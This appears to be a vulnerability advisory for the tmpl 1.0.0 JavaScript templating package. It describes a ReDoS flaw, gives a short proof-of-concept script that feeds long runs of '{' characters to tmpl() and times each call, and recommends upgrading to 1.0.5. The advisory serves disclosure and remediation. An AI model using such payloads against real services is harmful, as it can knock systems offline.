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tmpl@1.0.0 vulnerabilities

JavaScript micro templates.

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Direct Vulnerabilities

Known vulnerabilities in the tmpl package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • H
Regular Expression Denial of Service (ReDoS)

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the main functionality.

PoC

var tmpl = require("tmpl")
for(var i = 1; i <= 1000; i++) {
        var time = Date.now();
        payload = "hello, " + "{".repeat(i*10000) + "day"
        tmpl(payload, {day: "tomorrow"})
        var time_taken = Date.now() - time;
        console.log("payload length: " + payload.length + " - time taken: " + time_taken + "ms")
}

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade tmpl to version 1.0.5 or higher.

<1.0.5
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